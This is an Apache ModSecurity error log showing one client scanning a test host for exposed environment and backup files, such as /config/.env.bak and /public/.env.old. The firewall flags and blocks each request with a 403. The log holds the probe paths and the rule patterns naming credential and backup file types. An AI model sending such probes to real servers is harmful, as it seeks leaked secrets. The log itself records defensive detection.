[Sun Oct 26 01:24:16.874990 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env.bak"] [unique_id "aP1cINPNphQKiiMCb4eQcQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:16.875198 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env.bak"] [unique_id "aP1cINPNphQKiiMCb4eQcQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:16.875457 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env.bak"] [unique_id "aP1cINPNphQKiiMCb4eQcQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:16.875676 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env.bak"] [unique_id "aP1cINPNphQKiiMCb4eQcQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:17.480529 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env.old"] [unique_id "aP1cIdPNphQKiiMCb4eQcgAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:17.480719 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env.old"] [unique_id "aP1cIdPNphQKiiMCb4eQcgAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:17.480956 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env.old"] [unique_id "aP1cIdPNphQKiiMCb4eQcgAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:17.481147 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env.old"] [unique_id "aP1cIdPNphQKiiMCb4eQcgAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:18.154868 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env"] [unique_id "aP1cItPNphQKiiMCb4eQcwAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:18.155168 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env"] [unique_id "aP1cItPNphQKiiMCb4eQcwAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:18.155402 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env"] [unique_id "aP1cItPNphQKiiMCb4eQcwAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:18.760418 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env.save"] [unique_id "aP1cItPNphQKiiMCb4eQdAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:18.760701 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env.save"] [unique_id "aP1cItPNphQKiiMCb4eQdAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:18.760906 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env.save"] [unique_id "aP1cItPNphQKiiMCb4eQdAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:19.366596 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env.bak"] [unique_id "aP1cI9PNphQKiiMCb4eQdQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:19.366796 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env.bak"] [unique_id "aP1cI9PNphQKiiMCb4eQdQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:19.367027 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env.bak"] [unique_id "aP1cI9PNphQKiiMCb4eQdQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:19.367212 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env.bak"] [unique_id "aP1cI9PNphQKiiMCb4eQdQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:19.972132 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env.old"] [unique_id "aP1cI9PNphQKiiMCb4eQdgAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:19.972355 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env.old"] [unique_id "aP1cI9PNphQKiiMCb4eQdgAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:19.972606 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env.old"] [unique_id "aP1cI9PNphQKiiMCb4eQdgAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:19.972798 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env.old"] [unique_id "aP1cI9PNphQKiiMCb4eQdgAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:20.578103 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "aP1cJNPNphQKiiMCb4eQdwAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:20.578398 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "aP1cJNPNphQKiiMCb4eQdwAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:20.578597 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "aP1cJNPNphQKiiMCb4eQdwAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:21.183541 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env.save"] [unique_id "aP1cJdPNphQKiiMCb4eQeAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:21.183801 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env.save"] [unique_id "aP1cJdPNphQKiiMCb4eQeAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:21.183995 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env.save"] [unique_id "aP1cJdPNphQKiiMCb4eQeAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:21.790779 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env.bak"] [unique_id "aP1cJdPNphQKiiMCb4eQeQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:21.790968 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env.bak"] [unique_id "aP1cJdPNphQKiiMCb4eQeQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:21.791199 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env.bak"] [unique_id "aP1cJdPNphQKiiMCb4eQeQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:21.791413 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env.bak"] [unique_id "aP1cJdPNphQKiiMCb4eQeQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:22.397012 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env.old"] [unique_id "aP1cJtPNphQKiiMCb4eQegAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:22.397226 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env.old"] [unique_id "aP1cJtPNphQKiiMCb4eQegAAAAA"], referer: https://www.google.com/
